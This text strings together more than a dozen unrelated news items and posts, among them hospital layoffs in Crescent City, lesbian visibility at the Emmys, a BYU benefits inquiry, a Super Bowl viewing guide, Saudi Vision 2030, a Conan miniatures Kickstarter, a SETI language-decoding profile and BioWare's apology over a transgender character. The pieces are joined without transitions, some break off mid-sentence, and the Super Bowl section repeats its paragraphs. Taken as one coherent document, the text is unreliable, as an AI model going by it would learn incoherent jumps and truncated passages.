The bottom line for Sutter Coast Hospital is looking up, according to CEO Mitch Hanna, who recently told the Triplicate: "We had a healthy profit in 2014 and that is in large part due to cost reductions."
Meanwhile, scores of hospital employees have been laid off over the past two years.
"We have reduced staff across the board, which was a very difficult decision, but really with lower volumes we hadn't been as aggressive reducing staff costs to meet that. This includes engineering, nursing, imaging, everything," he said.
- Emily Jo Cureton
TEDxManhattan viewing
The Community Food Council is hosting a viewing party of TEDxManhattan's "Changing the Way We Eat" conference next weekend.
"Changing the Way We Eat" is a one-day conference focusing on issues within the sustainable food and farming movement. Speakers include Joel Berg of the NYC Coalition Against Hunger, Michele Merkel of Food and Water Watch and Anim Steel of Real Food Challenge.
The official viewing party will be held from 7:15 a.m. to 3:15 p.m. March 7 at the First 5 Family Resource Center, 494 Pacific Avenue in Crescent City.
Breakfast and lunch will be provided. To RSVP, call Connor Caldwell at 464-0955, ext. 2108 or e-mail the Food Council atfoodcouncilDNATL@gmail.com. For more information about the TEDXManhattan talks visitwww.tedxmanhattan.org.
- Jessica Cejnar
Wide-ranging discussion
Jerry Haddad's father made a phone call to the Triplicate Tuesday morning after a story was published about the arrest of his son, his son's girlfriend and her son.
Upset with the headline ("COs arrested on way to UK in hash lab case", Feb. 24), which he said insinuated that Jerry Haddad and Carol Stack were running from the law when they were picked up by Mendocino County Sheriff's deputies in Ukiah, Denny Haddad called to make sure the Triplicate had it right.
While Pelican Bay State Prison did not get back to the Triplicate to confirm that the two correctional officers had scheduled time off in advance, Denny said the trip was a planned one to visit a family member in England.
And that's not all. For the half hour he had a reporter on the phone, he covered an impressive range of topics from parenting to law enforcement and land management. He said he |
with the Oscars – came Paulson.
She had brought the house down earlier by appearing on the red carpet with Clark, the legendary prosecutor in the OJ Simpson murder trial whom Paulson played in her award-winning role.
“It was awesome – and so seemingly effortless,” Sarah Gubbins, a playwright and co-creator with Soloway of the new Amazon series I Love Dick, said of the night’s highly visible lesbian element.
Comedian Tig Notaro and actor Lily Tomlin were also nominated, even if they didn’t win.
“I did the Emmys party circuit and everyone was just reveling in it. You have to take the time to celebrate when you can feel the culture shifting. We’re here, we’re queer and there is nothing to fear,” Gubbins told the Guardian.
She said that the technological breakthrough in new television platforms created by the likes of Netflix, Hulu and Amazon had allowed “the gatekeepers” to try more risk-taking shows, give access to more women and queer people and see the success.
“Television is blazing a path for queer female voices right now, and similar visibility in theater and film is catching up fast – it’s about critical mass. It’s remarkable,” said Gubbins.
In her acceptance speech, McKinnon thanked comedian and chat show host Ellen DeGeneres.
She also thanked Hillary Clinton, who returned the compliment with a congratulatory tweet including a gif of McKinnon impersonating her.
“I’m not usually a person who shouts at the television, but when I saw these women winning Emmy after Emmy I just burst into applause and screamed ‘Yesss’ every time,” said Trish Bendix, editor-in-chief of the self-described lesbian and bisexual pop culture website AfterEllen.com.
It was named in tribute to the watershed moment when Ellen DeGeneres’ sitcom character Ellen and the performer herself came out as a lesbian in 1997.
DeGeneres became an instant gay hero, but her show was dropped and she was in the professional wilderness until she voiced the part of Dory in the 2003 movie Finding Nemo, then got her own chat show that became a hit.
AfterEllen.com also picked out other less well-known lesbians and lesbian characters also enjoying Emmy success this year.
There was a mini-uproar from parts of the live audience and on social media Sunday night when the band played over The People v OJ Simpson producer Nina Jacobson just as she was giving an emotional thank-you to her wife.
However Bendix considered it mainly rotten timing, and similar snubs happened to several others on the night.
“It was rude, though,” she said.
Lisa Kron, who won two Tony awards in 2015 for writing the lyrics and book for Fun Home, the groundbreaking hit musical about lesbian cartoonist Alison Bechdel, said that lesbian visibility in arts and entertainment had hit a “tipping point”.
“We were not just invented, none of this success is happening in a vacuum. There is a wave of visibility, it’s being helped by the proliferation of social media and the ability for us to talk across distances to each other,” she said.
She thought the legalization of gay marriage has also helped. Kron is married to playwright Madeleine George.
Oscar-nominated lesbian designer Patricia Field was winning accolades for her costumes for the straight characters of Sex And The City and The Devil Wears Prada years ago, but the stage was anything but crowded.
“The talent and the content has always been there, in numbers. Now it’s rising to the top as it always should have done, and coming of age,” said Frances Wallace, executive director of Frameline, the media arts non-profit that produces the annual San Francisco international LGBTQ film festival.
And, she pointed out, with transgender politics and related edgy story lines now in the vanguard, many lesbians and bisexual women in the industry feel there is even less to lose by coming out these days – and thanking their wives and girlfriends on global TV to boot.
“It’s a huge celebration,” she said.BYU is investigating allegations former players received improper benefits, school spokesman Duff Tittle told ESPN.
"We are aware of the allegations and have been conducting a thorough review of the matter," Tittle said.
The allegations were first reported by Salt Lake City radio station 1280 the Zone. The NCAA will not confirm or deny any ongoing NCAA investigations.
Sam Leaf, a manager of former BYU wide receiver Cody Hoffman, told 1280 the Zone that Hoffman had been contacted by BYU "a couple of months ago." The school requested Hoffman to come in and answer questions about possible improper benefits provided to players.
Leaf told the radio station Hoffman refused to talk to the school and was focused on moving on to the NFL. Leaf said he was confident Hoffman had not received any illegal benefits, but Leaf wouldn't comment if he knew others that were involved.
Hoffman, who had a team-high 57 receptions as a senior last fall, was not selected in the NFL Draft. He signed a free agent contract with the Washington Redskins.
Ironically, BYU is the only school that has won an AP national championship in football and has never had a major NCAA violation or received NCAA sanctions.
Three years ago, BYU coach Bronco Mendenhall told me the school's Honor Code helps reduce potential problems.
"I would really like to be the alternative," Mendenhall said in 2011. "I'm not saying we're perfect or there couldn't be a violation at some point, I would really like a program to be successful and show that you can win by playing by the rules and doing it with high standards.
"It's becoming increasingly difficult with the booster population. I think that's what most programs are struggling with."Story highlights New England Patriots, New York Giants square off in Indianapolis
Many TV watchers are more interested in the commercials
Madonna promises a great halftime
Some will tune in to "chick flicks," other programming
An estimated 111 million U.S. viewers are expected to tune in Sunday for Super Bowl XLVI. It features the scrappy New York Giants against the New England Patriots, who are looking for their fourth NFL title. Kickoff in Indianapolis is 6:30 p.m. ET.
Before you get too comfortable in that favorite chair, here's our list of five things to watch:
Each other: Americans are in the mood to live it up a little more this year, with the average game-watcher spending $63.87 on Super Bowl merchandise, snacks and apparel, up from $59.33 last year, according to a survey by the Retail Advertising and Marketing Association. Of those watching the Giants-Patriots, nearly 27.1% are planning to attend a party, according to the association, and another 15.3% plan to throw a party. Looking for some last-minute snack ideas? Richard Blais, Eva Longoria and others provide : Americans are in the mood to live it up a little more this year, with the average game-watcher spending $63.87 on Super Bowl merchandise, snacks and apparel, up from $59.33 last year, according to a survey by the Retail Advertising and Marketing Association. Of those watching the Giants-Patriots, nearly27.1%are planning to attend a party, according to the association, and another 15.3% plan to throw a party. Looking for some last-minute snack ideas? Richard Blais, Eva Longoria and others provide dip options at CNN's Eatocracy blog. But watch the double-dipping. "After double-dipping just a few times, researchers found 50 to 100 times more bacteria in the dip -- and that was just from one mouth," says Sanjay Gupta, CNN's chief medical correspondent. Yuck.
The commercials: Bueller? Bueller? Bueller? By now you've probably seen the Matthew Broderick update of his hijinks from 1986's cult classic "Ferris Bueller's Day Off." This time he's toned it down a notch from a Ferrari to a more practical, family-friendly Honda CR-V. Ad watchers are calling 2012 the year of the celebrity, with the likes of David Beckham, Danica Patrick and Jerry Seinfeld shilling products. Many ads have appeared before the game. Volkswagen just can't get enough of "Star Wars." For its pre-game teaser commercial, the company traded last year's Darth Vader kid for a black dog with a circuit board on its chest. In fact, the teaser features a whole pack of dogs. Remember the "Imperial March"? Of course you do. But not like this. One survey shows about 55% of U.S. adults who plan to tune in Sunday are watching as much or more for the ads as the action on the gridiron. The Hanon McKendry poll shows the number for women in that category is 66%, compared to 46% for the guys. : Bueller? Bueller? Bueller? By now you've probably seen the Matthew Broderick update of his hijinks from 1986's cult classic "Ferris Bueller's Day Off." This time he's toned it down a notch from a Ferrari to a more practical, family-friendly Honda CR-V. Ad watchers are calling 2012 the year of the celebrity, with the likes of David Beckham, Danica Patrick and Jerry Seinfeld shilling products. Many ads have appeared before the game. Volkswagen just can't get enough of "Star Wars." For its pre-game teaser commercial, the company traded last year's Darth Vader kid for a black dog with a circuit board on its chest. In fact, the teaser features a whole pack of dogs. Remember the "Imperial March"? Of course you do. But not like this. One survey shows about 55% of U.S. adults who plan to tune in Sunday are watching as much or more for the ads as the action on the gridiron. The Hanon McKendry poll shows the number for women in that category is 66%, compared to 46% for the guys. Watch 2012 Super Bowl ad mash-up
JUST WATCHED Super Bowl ads you 'won't want to miss' Replay More Videos... MUST WATCH Super Bowl ads you 'won't want to miss' 02:17
JUST WATCHED Madonna starring in Super Bowl halftime Replay More Videos... MUST WATCH Madonna starring in Super Bowl halftime 02:05
Halftime: The Material Girl told reporters this week she "was maintaining her sanity" while : The Material Girl told reporters this week she "was maintaining her sanity" while working hard to be ready. Madonna's 12-minute set will include a new song and three previous hits. Joining her will be MIA and Nicki Minaj. Madonna promises there will be no "wardrobe malfunction," a reference to the 2004 Super Bowl, at which pop singer Janet Jackson's breast was briefly exposed during a live halftime show with fellow entertainer Justin Timberlake.
Your cell phone? Apparently, a good many people aren't occupied enough by the annual super extravaganza called the Super Bowl. Nearly 60% of mobile phone users plan to look at their device during the game, according to a survey by Velti, a mobile marketing firm.
Oh yeah, the game: There will be a : There will be a football game sandwiched in, and it's expected to be a pretty good one. The Giants bring quarterback Eli Manning and a tough defense to Indianapolis, determined to keep Pats QB Tom Brady from taking home a fourth Super Bowl championship ring. Game time, 6:30 p.m. Eastern, NBC, at Lucas Oil Stadium. A few story lines: Can Patriots superstar tight end Rob Gronkowski overcome a hobbled ankle? Giants rookie linebacker Mark Herzlich survived a bone cancer diagnosis two years ago. And Zoltan Mesko, the Pats' punter, has come a long way from growing up in Romania, where in the late 1980s his family dodged bullets during revolutions that eventually toppled the communist regime.
And, if five tips is not enough, here is a bonus:
Counterprogramming: Every year, a few brave souls go to a second location in the house or just stay home to watch anything OTHER than the Super Bowl. This year's options include PBS' "Downton Abbey, where football would come in the shape of a soccer ball. For the romantics, there's "Sleepless in Seattle" and "E.T.: The Extra-Terrestrial" on AMC and "Wedding Date" and "Hitch" on TBS. Or try these Super Bowl alternatives on Home Shopping Network: "no!no! Professional Hair Removal" and "Electronic Connection."
Enjoy!On his first broadcast at the 9 PM ET timeslot, Tucker Carlson began the program with Glenn Beck, and right away it got pretty interesting.
Carlson kept pressing Beck about his religious faith, wondering if his belief and faith had been shaken due to Donald Trump’s election, considering that Beck had previously said that Ted Cruz had been anointed by God to stop Trump.
Carlson asked, “Because he didn’t win and Trump did, did it shake your faith?”
The Fox News host also grilled Beck on his feelings towards Cruz, bringing up when Glenn got upset with Cruz for endorsing Trump late in the campaign. Beck calmly said that he and Cruz are still friends to this day and that he was mostly disappointed with the timing.
The Blaze founder also explained that he would never endorse another candidate in the future and that while he didn’t support Trump, his political beliefs have not changed as he’s still a libertarian.
Carlson also brought up Beck leaving Fox News and wanted to know if he had any regrets considering his financial problems with The Blaze in the aftermath of him leaving the Fair and Balanced network. Beck denied that he was having business issues but did admit that it was poorly run at one point.
Watch the interview above, via Fox News.
[image via screengrab]
–
Follow Justin Baragona on Twitter: @justinbaragona
Have a tip we should know? tips@mediaite.comHigh school students wary of dissection may be in the clear, thanks to a newly bred see-through goldfish.
To create the translucent creature, scientists at Japan's Mie University and Nagoya University crossbred fish that had defects in the gene that regulates pigment, or color.
The resulting mutant fish's organs are all plainly visible, Yutaka Tamaru, a life science researcher at Mie University, said via email.
Tamaru said the fish could act both as a living textbook in biology classes and as a tool for medical researchers.
For instance, scientists could watch in real time how an animal's organs develop. They could also get an inside view of how diseases, particularly tumors, progress in the body.
"As this goldfish grows bigger, you can watch its whole life," Tamaru said.
The translucence doesn't harm the goldfish or shorten its life span, he added.
Announced in December, the goldfish joins a see-through frog, bred in 2007, and two other species of transparent fish previously cultivated by science.
--Christine Dell'AmoreDeputy Crown Prince Mohammad bin Salman announced Monday in Riyadh that the kingdom would begin a massive effort to diversify its economy and its global investments away from oil - a recognition that an economy too dependent on a single commodity is vulnerable to major shocks.
One such shock was the collapse in the oil price that begin in mid-2014, not least because Saudi Arabia, the world's low-cost swing producer, refused to cut back crude oil production despite an excess of supply over demand. More recently, Iran and Russia have rejected calls to rein in oil production in their turn, which means oil prices may remain weak for some years. Moreover, if electric vehicles start to gain serious market share in the 2020s, that will present a permanent downward pressure on oil prices.
"I think by 2020, if oil stops, we can survive," Mohammad said. "We need it, we need it, but I think in 2020 we can live without oil."
Influential favorite son
Mohammad bin Salman, a son of Saudi Arabia's eighty-year-old King Salman and the king's third wife, is thirty years old. Upon acceding to the throne in January 2015, Salman immediately appointed Mohammad - known in the kingdom as MbS - to several of the kingdom's most important Cabinet-rank offices, including defence minister and head of the country's economic council.
Oil sales revenues remain the predominant economic driver in the kingdom, accounting for 72 percent of total revenue last year
Almost immediately after becoming defence minister, MbS launched a war against Shiite tribes in Yemen that had taken control of much of the country and recruited other Sunni powers to join in. The war has been inconclusive in military terms, and has caused a humanitarian catastrophe. Peace talks are now underway.
MbS's profile is now being raised by emphasizing his role in pushing forward economic reforms. Monday's announcement of the kingdom's new economic reform plan, termed Vision 2030, was made at MbS's first nationally televised interview since taking office as head of the economic council early in 2015.
As part of Vision 2030, MbS proposed to restructure the state-controlled Public Investment Fund to make it a hub for Saudi investment abroad, financed mostly by oil revenues, but also by raising extra money through sales of shares in national oil giant Saudi Aramco.
"We restructured the fund. We included new assets in the fund, Aramco and other assets, and we fixed the problems of the current assets that the public investment fund owns, both in terms of companies and other projects," he said.
Strained budget
Low oil prices last year meant the kingdom ran a budget deficit of 15 percent of GDP. If low prices persist, it will be more difficult to set aside money from oil revenues for the Public Investment Fund, which helps explain the Saudi rulers' decision to raise extra money by selling shares in Saudi Aramco.
"Initial data say the [Public Investment] Fund will have control over more than 10 percent of global investment capacity," Prince Mohammad added.
Saudi Arabia spends vast amounts of money on weaponry. Its rulers, committed to a fundamentalist Sunni version of Islam, believe themselves to be locked in a great struggle for regional primacy with Shiite Iran
MbS said increased efforts at mining minerals would be made in the kingdom in future, and the scope of domestic weapons production would also widen. The kingdom was the third-largest arms purchaser in the world last year - it spent $87 billion (77 billion euros). Among other military engagements, Saudi Arabia is fighting a war of choice in Yemen at MbS's direction, and supplying weapons to Sunni groups in Syria that are fighting President Assad's secular government.
MbS also said a green card system would be launched within five years, to allow expatriate Arabs and Muslims to live and work in Saudi Arabia long-term. It's a significant policy shift for the kingdom.
Oil geopolitics
By selling a small part of the shares of the world's most valuable oil company - MbS has said the company is worth perhaps 2 trillion dollars, and that less than 5 percent of its shares would be sold - the royal family will raise additional money which it can invest in buying a diversified portfolio of foreign companies and revenue streams. Beyond that, it may also be motivated by geopolitical calculations.
Until now, Saudi Aramco has been 100-percent-owned by the Saudi state. By letting foreign business interests buy some shares, the Saudis are implicitly giving influential global investors an incentive to help support stable institutions in the kingdom - and that means, above all, the continuing rule of the al Saud family.
nz/hg (Reuters, AP)Geraint Thomas finished 15th in this year's Tour de France
Geraint Thomas has pulled out of the UCI World Road Race Championships in Virginia from 19-27 September, saying he does not feel "physically" up to it.
The Welshman's withdrawal means neither he nor Tour de France winner Chris Froome will compete in the USA.
Froome broke a foot in a crash at the Vuelta a Espana, ruling him out.
"It's been a hard decision to make but the season has taken its toll on me and I don't feel physically up for a good Worlds," Thomas, 29, wrote on Facebook.
"I don't want to go there just to make up the numbers, I'd want to be competitive or at least do a good job for the boys."
Thomas says he wants to rest ahead of 2016 when he feels a top-five Tour de France spot is possible along with an Olympic track medal.
"I love racing for GB and the Worlds are a really special race so it was a difficult decision to make, along with the team, but I feel it's best to rest up now before it's all systems go for a big year next year."
Fellow Briton Mark Cavendish crashed out of the Tour of Britain last week and suffered a shoulder injury, but is hopeful of competing in Virginia as the men's road race takes place on the final day of the championships - 27 September.though i wasn't at home to receive my gift directly, i felt that i really needed something to look forward to as i stare my finals in the face. i had my mom open my presents over skype (thanks mom!) and send some pictures. my santa was so amazing and thoughtful i couldn't even stand it!
i ended up with some amazing gifts: a beautiful letter a recipe for some delicious sounding desserts rolos instead of packing peanuts pokemon(s) x and y a portable solar panel!
i was honestly blown away by the kindness my santa showed me. it made me feel so happy that i wanted to share my gift with my family. i will be giving my older brother my copy of pokemon y so that we can continue our brother-sister tradition of each beating our copies of pokemon (which we have been doing since red and blue came out!) i am also 100% sure my mom stole some rolos.
santa was so nice and supportive of my want to learn how to code. thank you so freaking much!Great Wall’s Wey luxury arm made its European debut at the Frankfurt motor show on Tuesday, giving the automotive industry fresh insight into the brand’s plan for the future.
Positioned above Haval, which recently arrived in Australia, the China-only Wey marque is unlikely to go to Australia, the US or Europe in the short term.
Executives in Frankfurt told Drive that Haval would remain Great Wall’s passenger car focus in Australia for the foreseeable future, with Wey set to remain on the sidelines for now.
Even so, the brand won plenty of attention in Frankfurt with an eye-catching electric SUV concept as well as fledgling road car range.
Wey XEV concept at the 2017 Frankfurt motor show. Photo: Supplied
The Wey VV5 currently sold in China features impressive electronics including a 12.3-inch digital dashboard to rival the likes of Audi. A 9-inch central display brings Apple CarPlay connectivity, sitting comfortably in a cabin that takes inspiration from the likes of Audi and Mercedes.
Power for the compact SUV comes from a 2.0-litre turbo engine that sends 146kW of power to all four wheels through a dual clutch automatic transmission.
For all the latest Great Wall information, visit our showroom.About
Pulposaurus is very excited to announce a tentative agreement with our friends at Reaper Miniatures to join us on Conan: Rise of Monsters!
Here's what Reaper had to say:
Reaper Miniatures is pleased to announce our new relationship with the great people over at Pulposaurus Entertainment! We're excited to be associated with such a great property as Conan: Rise of Monsters and we're anxious to get the ball rolling!
Given the new possibilities this opens up, we're going to cancel our current Kickstarter, readjust some things given the advantages this new alliance gives all of us, and come back stronger sometime later this year.
Thanks so much for your support and encouragement! We think this is one of the best games we've ever worked on, and we can't wait to bring it back to you bigger and better than ever!
See Update #8 for the whole story!
*** Original Campaign Info ***
Know, O Prince, that between the years when the oceans drank Atlantis and the gleaming cities, and the years of the rise of the Sons of Aryas, there was an age of swords and sorcery. An age of war. An age of blood and thunder.
An age of...monsters!
Conan: Rise of Monsters is an epic fantasy miniature wargame with pre-painted plastic figures. It was created and designed by four veteran designers of the table-top industry, and lavishly illustrated by some of the industry's top artists such as Victor Moreno and Adrian Smith.
Pre-painted and Ready to Play!
We know people have a lot of miniatures games to play these days, and we know a lot of people lead incredibly busy lives and don't have time to paint their own minis (not to mention cutting pieces off sprues, assembling, gluing, and basing their figures).
So for this project, we wanted something people could play right out of the box. The rules are simple but with complex strategy, and the minis are already assembled and painted and ready for blood and thunder!
We're paying for the absolute best paint jobs available in the pre-painted miniatures market, which should more than meet most gamers' expectations. Those who want additional details can do so, and those who truly want to paint the mini from the base up can back the unpainted version.
We think this is a win for everyone--those who want to jump in and play AND those who want to paint their own hordes.
From concept art to preproduction prototype of the type of painting expected
From Concept Sketch to Master Sculpt to Master Paint Production
Conan leads the charge! Pre-Production Models
King Conan and Giant Snake size comparison - Pre Production Models
The Priests of Set - Pre-Production Models
Thoth-Amon has assembled the blasphemous Legion of Set to bring the Serpent God into the world of Hyboria. His sorcerers, swordsmen, and serpents scour the lands gathering ancient artifacts and destroying the icons of those gods who might oppose their apocalyptic plans.
King Conan of Aquilonia has forged an alliance to stop them--the Circle of Iron. His knights, archers, pikemen, war mammoths, and other beasts are all that stand in the way of the dread sorcerer and his unholy minions.
Conan: Rise of Monsters allows you to pit Thoth-Amon's Legion of Set against Conan's Circle of Iron. Pre-painted miniatures with the absolute best paint level available can be used right out of the box. Fast play rules and custom dice for each faction get you to the action quick. Everything you need for your savage warriors is right on their unit card. Some units also have Special Abilities built in to their rules or triggered whenever they roll a "sigil" on the custom dice.
Hard-charging Poitainian Knights are best used on the attack.
The Hand of Fate
Warriors' steel and knowledge of the dark arts aren't always enough to win the day. Commanders also have access to Destiny tokens each round that allow them another chance to woo Fate's fickle attention.
Destiny Tokens
King Conan and Thoth are no strangers to the clash of steel. Each side has customized Fate Cards they may use to further their strategy on the battlefield.
Fate Deck
Conan: Rise of Monsters uses special engraved dice marked with symbols rather than numbers or pips. We call these the Sigil Dice. An ample supply is provided in each Starter Box, and additional dice are sold separately. Swords are offensive and most often represent successful hits in bloody combat. Shields are defensive and generally represent blocked hits. Sigils are special symbols that trigger other game effects.
Legion of Set Sigil Dice (Left) and the Circle of Iron Sigil Dice (Right)
Conan: Rise of Monsters draws on Robert E Howard's original Conan stories as well as the Marvel and Dark Horse Comics adaptations to tell a brand new story at the zenith of King Conan's reign.
The Rise of Set & the Fall of Mitra!
The scribes have also come together to tell the great saga of the Rise of Set and the subsequent fall of Mitra!
This lavishly illustrated 96-page, hardback, full-color book features the full story of the Rise of Monsters and how it came to pass. It begins as Thoth-Amon gathers fanatical cultists around Hyboria. With these secret conspirators in place, the wizard then gathers and reads from the dread Scrolls of Skelos--bringing forth even darker servants to the Scaled One's cause!
King Conan eventually hears of Thoth's treachery and the rise of his fanatics. The aging warlord rises from Aquilonia's cold throne and demands the allegiance of the dogs who swore loyalty to him long ago. The call to battle brings a gleam to the barbarian king's eye. He dons his armor, sharpens his blade, and rides into the legendary battles you create!
Playtests
We've been playtesting the game for almost a year, first with our own core team then with groups all around the country--including veteran miniatures gamers at our partner's store, Zombie Planet in Albany, New York. We paid great attention to their feedback, incorporated it, and reforged the game and the units again and again until we felt the game as fast, tactical, and above all--FUN!
Game Play Videos
During the coarse of the Kickstarter campaign we will be updating new gameplay videos!
CROM OVERVIEW
CROM BASIC GAMEPLAY
CROM FATE CARDS
CROM SIGIL DICE
CROM DESTINY TOKENS
Crom, a distant and heartless god, will not make this game a reality. That's up to us, we mere mortals. We must gather our gold together to stop Thoth's insidious plan--or ravage Hyboria in the name of the Great Scaled One!
We humble craftsmen at Pulposaurus have already invested heavily to bring you this vision. Your pledge, O Prince, helps us take the next step. We're working to make the absolute best game possible, with simple rules and complex strategies, the best figures and paint-work we could find, and a story-rich campaign book to fuel your clashes of steel for eons to come.
Here's what's in each Starter Box...
Add-ons are extras you can pledge for in addition to any pledge level.
To get an Optional Add-on, click “Manage my Pledge” in the top right corner of the Kickstarter page and input the total value of everything you want. For example, if you want the Circle of Iron Starter Army ($125) and want an Legion of Set Starter Army ($125) and an additional a set of SIGIL dice ($10) you would enter $260 as your total pledge.
When the campaign has finished, we will send you access to an automated Pledge Manager.
Choose from:
Here you find more details about all the Stretch Goals we planned for the project, to add extra items to your rewards and further improve the contents of the game. Once the funding goal has achieved for a stretch goal, items will either be added at no cost to your pledge or you may be able to add that item as an add-on to your pledge.
We understand that a retailer-only reward level fails to generate more than a handful of backers. The main reason is because backing a project requires a retailer to put aside precious capital. The retailer's money is probably better invested in stocking games that are available NOW and that they can sell to customers NOW. So how do we get retailers to help us?
The solution is to get you to become the Ambassador for your Friendly Local Game Store! How does this work? First, talk to the owner or manager of your FLGS and request that they contact us to name you as their FLGS Ambassador. They just need to send a simple email (subject: CROM FLGS Ambassador) to us at info@pulposaurus.com that includes the name and address of the store. The email should also include your own name and email address.
Once you’re appointed as an FLGS Ambassador, we will contact you and confirm your pledge to this project at the HYBRORIAN MERCHANT reward level which will include one of each starter set for demoing the game at your FLGS, as well as additional promotional material.
*Please note: If you pledge at this level without the support of a FLGS, then at the conclusion of the project you will be sent ONE starter box of your choice and a $25 credit toward Add Ons.
Shipping will be calculated based on specific zones and actual shipping charges after the Kickstarter when we send out the Pledge Manager near the actual ship date.
When the project is funded, we'll be spending time working with various fulfillment partners around the world to give you the absolute lowest shipping cost we can manage.
In the meantime, these are our best estimates given the average weight of a Starter Box plus a few Add Ons. We hope to be able to lower the prices as we finalize shipping partners in different regions.Could this man be the first to communicate with ALIENS? Seti astronomer reveals how maths will translate extra-terrestrial language
Dr Elliott has revealed to MailOnline a system for decoding alien language
The Leeds-based professor says we are closer than ever to finding life
Using his method he claims we will be able to translate a complex message
This means we could reply to a simple 'hello' or receive information
But he warns the more intelligent the message the more wary we should be
By day, Dr John Elliott is a professor in Computing and Creative Technologies at Leeds Metropolitan University.
But by night, his work takes on a more out-of-this-world nature – he’s devising the methods we'll need to talk to aliens.
Creating algorithms that can break down and understand languages on Earth, he says we could one day use his system to decode an extraterrestrial message
Making first contact with extraterrestrial life by detecting a signal would be one of the defining moments in the history of humanity, but what if we don't know what they're saying? That's where Dr John Elliott comes in - he's been devising methods to decode an alien language for the day he believes we'll receive a message
Dr Elliot has been working on decoding languages for two decades.
THE HISTORY OF SETI
In 1959, Cornell physicists Gieuseppi Cocconi and Philip Morrison published an article discussing the potential to use microwave radio to communicate between stars.
A year later in 1960, astronomer Frank Drake conducted the first hunt for alien life with an 85-foot (25 metres) antenna in West Virgina, but after two months concedes defeat.
In the 1960s, Soviet Union performs extensive searches for ET, again with no success.
In the 1970s Nasa began to take an interest in Seti, with the chances of success seemingly growing as technology advanced.
In 1988, Nasa began sweeping surveys of the night sky for signals, but Congress terminated funding a few years later.
The independent Seti Institute, established in 1984, took over the job.
In 1992 the first planet outside the solar system is confirmed, an almost certainly uninhabitable world orbiting a pulsar.
In 2009 Nasa’s Kepler telescope launches and, over the next few years, finds hundreds of planets. And just last month, the first planet of a similar size to Earth and at the correct distance from its parent star to host water, called Kepler 186-f, was found. It is the most likely place that has been found that could host life as we know it.
If we do one day make first contact, he says his system of breaking down language will be vital in understanding a message, and perhaps even allow us to respond.
He’s used his system to break down languages on Earth into simple structure, and he says he could use the same method to communicate with alien life.
In the 1990s, Dr Elliott finished a degree in artificial intelligence before taking a PhD in the Search for Extraterrestrial Intelligence (Seti).
‘My speciality was natural language processing,’ he tells MailOnline, ‘Understanding how language is structured so a computer can understand it.’
And so he began to detect and categorise languages on Earth, with the goal of being able to understand even unknown languages automatically.
His work, the first of its kind, piqued the interest of the Seti Institute.
‘It was such a fresh angle that when Seti first saw what I was doing, they contacted me and asked to publish the paper in their area in 1999,’ he continues.
‘No one had done this before. '
And, he says, it could be vital in the search for alien signals.
‘What happens if you get a message? You’re eavesdropping, but how can you tell it was language?
‘If it does pass the initial test of being language, how would you tackle it, decipher it?
‘So I immediately made a niche for myself.’
Here on Earth we’ve made our own attempts to communicate with extraterrestrial life by sending out our own encoded messages like the Arecibo Message (left) in 1974. Dr Elliott (right) says his methods could be used to decode a similar message, if we receive one, from an alien race by breaking down their language
To first approach the topic, Dr Elliott began studying about 60 different languages on Earth.
Looking at structure and the frequency of certain words he created a set of algorithms that, when applied to different languages, revealed their similarities.
For example ‘ifs', 'buts' and 'thes’ were the break between contact words that described the world around us.
‘Looking at things like that, we were able to build a picture of common structure of the human language condition,’ he says.
Our words and symbols across different cultures are, according to Dr Elliott, simply a cover for the underlying structure.
‘The sounds we make and the symbols we use are just the veneer on top,’ he explains.
‘Underneath, the structure of the language is very, very similar across them all.
‘When I compared Chinese and English, and parts of speech for communication, they were almost identical.’
Even dolphin language has the same structure, albeit at a much higher frequency, when compared to humanity.
In Dr Elliott's research he explains the various levels of complexity of language (pictured). This ranges from things at the bottom of the scale, like ambient noise, to extremely complex language. However, he explains that it actually becomes easier to decode a message as it increases in complexity
If an extraterrestrial signal is one day detected, which Dr Elliott is certain will happen eventually, ‘it’s a matter of putting it through programmes to analyse structure.’
The interpreters will need to decide if they’ve got a stream of data, or just random audio sounds.
‘If it’s carrying information then it’s got a way of structuring itself for efficiency, and once you pick that up you’re away – the game’s on,’ he says.
If the message is designed to convey information then we can decode it, and we should even be able to get a ‘measure of how intelligent the author is.’
But on that note, he says we should be wary of how intelligent the alien race is. The more intelligent the message, the more advanced they are likely to be.
‘We |
28 to go in the 2nd quarter?! pic.twitter.com/88dnnGwt46 — Joe Buscaglia (@JoeBuscaglia) October 30, 2016
chris hogan was the kid who called his shot playing kickball in gym class right — Ryan Nagelhout (@ryannagelhout) October 30, 2016
Little known fact. Gronk's 69th TD is actually for his career, NOT just vs Buffalo. Only feels that way. — Del Reid (@DelReid) October 30, 2016
Danny C….Can't make the 3. pic.twitter.com/w8hyfXNgQn — Stephen Bond (@StephenURecruit) October 30, 2016
Bills give a first down up because 12 men and well that's just fine I'm fine really why is my laptop across the room? — Suplex City (@BuffaloWins) October 30, 2016
The game is lost at this point. Just send the house at Brady on every play. Get your money's worth, #Bills. — Michael Parthum (@MichaelParthum) October 30, 2016
First career sack for #Shaq Lawson! Silver linings baby are all that matter at this point #Bills #BillsMafia #GoBills pic.twitter.com/9WI3Da4kJC — The Bills Blues (@thebillsblues) October 30, 2016Share. Changes to conversations with Hainly Abrams are coming in the next update. Changes to conversations with Hainly Abrams are coming in the next update.
Earlier this week, BioWare announced details about changes coming to Mass Effect: Andromeda, including alterations to conversations with the non-playable character Hainly Abrams. Now, BioWare is apologizing specifically for not including Abrams, a transgender character, "in a caring or thoughtful way" in the game.
BioWare published a statement today, saying the studio is apologizing "to anyone who interacted with or was hurt by this conversation" and that BioWare is "working to remedy this issue."
Exit Theatre Mode
The full statement reads:
At BioWare, we strive to make games that are representative of our players and the broader world around us. We do this by actively consulting within our diverse workforce, as well as speaking with different communities. In Mass Effect: Andromeda, one of our non-playable characters, Hainly Abrams, was not included in a caring or thoughtful way. We apologize to anyone who interacted with or was hurt by this conversation. This was never our intent, and was an unfortunate byproduct of the iterative process of game design and a change in the structure of the character's dialogue. We have had several discussions with members of the transgender community, both internally at BioWare and in the broader community, and we are working to remedy this issue. Once the changes are implemented, Hainly will only reveal certain information to Ryder after they have developed trust, and only if the player chooses to support her. As always, we appreciate the help, feedback, and support from the Mass Effect community.
Abrams is an NPC players can meet along their journey in Andromeda who reveals to Ryder her pre-transition name unprompted for that specific information, a trait some players have said does not accurately reflect the experience for all trans people, especially as she appears uncomfortable about her former name.
Exit Theatre Mode
Other changes coming in a patch launching tomorrow include character creator options, general character appearance improvements, and more.
BioWare has previously stated it is listening to player feedback that "is an important part of our ongoing support for the game." The developer previously stated it was "evaluating options" regarding Andromeda's character creator and controversial facial animations.
